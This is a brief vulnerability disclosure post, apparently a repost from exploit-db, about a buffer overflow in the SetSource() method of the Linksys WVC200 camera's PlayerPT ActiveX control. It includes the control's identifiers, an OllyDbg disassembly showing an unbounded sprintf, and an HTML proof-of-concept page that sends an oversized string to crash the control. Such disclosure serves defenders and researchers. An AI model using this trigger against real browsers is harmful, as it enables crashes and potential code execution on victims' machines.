Mar
22
2012

Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera buffer overflow

An article by Fabio Semperboni Exploit

The Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT ActiveX Control PlayerPT.ocx auffers a buffer overflow vulnerability.

When viewing the device web interface it asks to install an ActiveX control with the following settings:

ProductName: PlayerPT ActiveX Control Module
File version: 1.0.0.15
Binary path: C:\WINDOWS\system32\PlayerPT.ocx
CLSID: {9E065E4A-BD9D-4547-8F90-985DC62A5591}
ProgID: PLAYERPT.PlayerPTCtrl.1
Safe for scripting (registry): True
Safe for initialization (registry): True

Vulnerability (Only for test):
the SetSource() method is vulnerable to a buffer overflow vulnerability. Quickly, ollydbg dump:

...
03238225   8B5424 20        mov edx,dword ptr ss:[esp+20]
03238229   894424 10        mov dword ptr ss:[esp+10],eax
0323822D   B9 32000000      mov ecx,32
03238232   33C0             xor eax,eax
03238234   8B72 F8          mov esi,dword ptr ds:[edx-8]
03238237   8DBC24 E8020000  lea edi,dword ptr ss:[esp+2E8]
0323823E   F3:AB            rep stos dword ptr es:[edi]
03238240   8B3D 0C062603    mov edi,dword ptr ds:[<&MSVCRT.sprintf>] ; msvcrt.sprintf
03238246   52               push edx
03238247   8D8C24 EC020000  lea ecx,dword ptr ss:[esp+2EC]
0323824E   68 48612603      push PlayerPT.03266148                   ; ASCII "%s"
03238253   51               push ecx
03238254   FFD7             call edi <---------------boom
...

rgod
-->
<!-- saved from url=(0014)about:internet -->
<HTML>
<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' />
</object>
<script>
var x="";
for (i=0; i<13999; i++){
x = x + "aaaa";
}
obj.SetSource("","","","",x);
</script>

References: http://www.exploit-db.com/exploits/18641/

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